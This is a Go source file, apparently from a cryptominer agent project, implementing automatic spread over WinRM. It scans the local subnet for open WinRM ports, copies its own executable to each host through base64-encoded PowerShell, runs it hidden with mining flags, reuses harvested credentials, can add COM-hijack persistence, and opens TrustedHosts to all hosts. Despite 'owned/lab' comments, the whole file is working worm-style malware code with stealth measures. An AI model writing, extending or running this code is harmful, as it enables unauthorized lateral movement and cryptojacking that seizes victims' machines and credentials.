129 lines
3.6 KiB
Go
129 lines
3.6 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"encoding/base64"
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"strings"
|
|
"time"
|
|
"unicode/utf16"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// attemptWinRMSpread deploys via WinRM session + encoded bootstrap (owned/lab).
|
|
func attemptWinRMSpread(cfg config.RuntimeConfig, target string) {
|
|
if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
|
|
recordSpreadAttempt(target, false, "winrm port closed")
|
|
return
|
|
}
|
|
|
|
exePath, err := os.Executable()
|
|
if err != nil {
|
|
recordSpreadAttempt(target, false, "executable path unavailable")
|
|
return
|
|
}
|
|
|
|
destName := sharePayloadName(cfg)
|
|
script := fmt.Sprintf(`
|
|
$dest = Join-Path $env:TEMP '%s'
|
|
Copy-Item -LiteralPath '%s' -Destination $dest -Force -EA SilentlyContinue
|
|
if (Test-Path $dest) {
|
|
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden -EA SilentlyContinue
|
|
}
|
|
`, destName, strings.ReplaceAll(exePath, `'`, `''`))
|
|
|
|
encoded := encodePowerShell(script)
|
|
var credSession SpreadCredSession
|
|
ps := fmt.Sprintf(`
|
|
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
|
|
if ($s) {
|
|
Invoke-Command -Session $s -EncodedCommand '%s' -EA SilentlyContinue
|
|
Remove-PSSession $s -EA SilentlyContinue
|
|
}
|
|
`, target, encoded)
|
|
if session, ok := acquireSpreadCred(target, "winrm_encoded"); ok {
|
|
credSession = session
|
|
ps = winRMCredPSBlock(target, session, fmt.Sprintf("powershell -EncodedCommand '%s'", encoded))
|
|
}
|
|
|
|
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
|
|
log.Printf("[autospread] WinRM encoded bootstrap succeeded on %s", target)
|
|
recordSpreadAttempt(target, true, "")
|
|
reportSpreadCredEdge(target, "winrm_encoded", credSession, true)
|
|
if cfg.COMHijackPersist {
|
|
_ = applyCOMHijackPersistence(exePath)
|
|
}
|
|
return
|
|
}
|
|
recordSpreadAttempt(target, false, "winrm invoke failed")
|
|
reportSpreadCredEdge(target, "winrm_encoded", credSession, false)
|
|
}
|
|
|
|
func encodePowerShell(script string) string {
|
|
utf16le := utf16.Encode([]rune(script))
|
|
buf := make([]byte, len(utf16le)*2)
|
|
for i, r := range utf16le {
|
|
buf[i*2] = byte(r)
|
|
buf[i*2+1] = byte(r >> 8)
|
|
}
|
|
return base64.StdEncoding.EncodeToString(buf)
|
|
}
|
|
|
|
// spreadViaWinRM sweeps local /24 for WinRM-open hosts when WinRMSpread or AutoSpread is enabled.
|
|
func spreadViaWinRM(cfg config.RuntimeConfig) {
|
|
if !cfg.WinRMSpread && !cfg.AutoSpread {
|
|
return
|
|
}
|
|
|
|
localIPs := getLocalIPs()
|
|
var targets []string
|
|
localSet := make(map[string]bool)
|
|
for _, ip := range localIPs {
|
|
localSet[ip] = true
|
|
}
|
|
for _, ip := range localIPs {
|
|
if !isIPv4(ip) {
|
|
continue
|
|
}
|
|
subnet := getSubnet(ip)
|
|
if subnet == "" {
|
|
continue
|
|
}
|
|
for i := 1; i < 255; i++ {
|
|
candidate, ok := ipv4SweepHost(subnet, i)
|
|
if !ok {
|
|
break
|
|
}
|
|
if localSet[candidate] {
|
|
continue
|
|
}
|
|
if portOpen(candidate, 5985, 400*time.Millisecond) || portOpen(candidate, 5986, 400*time.Millisecond) {
|
|
targets = append(targets, candidate)
|
|
}
|
|
}
|
|
}
|
|
beginSpreadSweep("winrm_encoded", len(targets))
|
|
if len(targets) == 0 {
|
|
finishSpreadSweepImmediate()
|
|
return
|
|
}
|
|
for _, target := range targets {
|
|
t := target
|
|
spreadSem <- struct{}{}
|
|
go func() {
|
|
defer func() { <-spreadSem }()
|
|
attemptWinRMSpread(cfg, t)
|
|
}()
|
|
}
|
|
}
|
|
|
|
// EnableLocalPSRemoting prepares this host for WinRM bootstrap templates (owned machines).
|
|
func EnableLocalPSRemoting() error {
|
|
ps := `Enable-PSRemoting -Force -SkipNetworkProfileCheck; Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force`
|
|
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", ps)
|
|
}
|